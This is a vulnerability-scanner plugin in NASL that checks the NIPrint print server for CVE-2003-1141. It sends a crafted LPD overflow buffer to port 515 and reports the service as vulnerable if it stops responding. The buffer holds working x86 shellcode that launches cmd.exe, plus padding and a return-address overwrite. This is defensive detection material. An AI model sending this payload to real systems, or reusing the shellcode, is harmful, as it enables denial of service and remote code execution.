NIPrint LPD-LPR Print Server DoS Vulnerability

# SPDX-FileCopyrightText: 2003 Matt North
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11926");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2003-1141");
  script_xref(name:"OSVDB", value:"2774");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("NIPrint LPD-LPR Print Server DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2003 Matt North");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl", "find_service1.nasl", "find_service2.nasl");
  script_require_ports("Services/lpd", 515);

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/8968");

  script_tag(name:"summary", value:"A vulnerability in the NIPrint could allow an attacker to
  remotely overflow an internal buffer which could allow code execution.");

  script_tag(name:"vuldetect", value:"Sends a crafted LPD request and checks if the service is still
  responding.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:515, proto:"lpd");

if(!soc = open_sock_tcp(port))
  exit(0);

r = raw_string(0x90,0xCC,0x90,0x90,0x90,0x90,0x8B,0xEC,0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x04,0xC6,0x45,0xF8,0x63,
0xC6,0x45,0xF9,0x6D,0xC6,0x45,0xFA,0x64,0xC6,0x45,0xFB,0x2E,0xC6,0x45,0xFC,0x65,0xC6,0x45,0xFD,0x78,
0xC6,0x45,0xFE,0x65,0xB8,0xC3,0xAF,0x01,0x78,0x50,0x8D,0x45,0xF8,0x50,0xFF,0x55,0xF4,0x5F);

r1 = raw_string(0xCC,0x83,0xC4,0x04,0xFF,0xE4);
r2 = string(crap(43));
r3 = raw_string(0xcb,0x50,0xf9,0x77);
bo = r + r1 + r2 + r3;

send(socket:soc, data:bo);
close(soc);
alive = open_priv_sock_tcp(dport:port);
if(!alive)
  security_message(port:port);